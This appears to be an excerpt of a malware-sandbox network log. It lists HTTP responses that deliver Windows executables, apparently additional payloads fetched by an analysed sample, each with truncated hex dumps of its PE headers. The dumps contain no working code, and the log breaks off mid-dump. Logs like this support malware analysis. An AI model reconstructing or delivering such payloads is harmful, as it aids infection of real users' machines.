Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:09:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:09:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:09:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:09:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:23 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:09:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 16:09:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:31 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 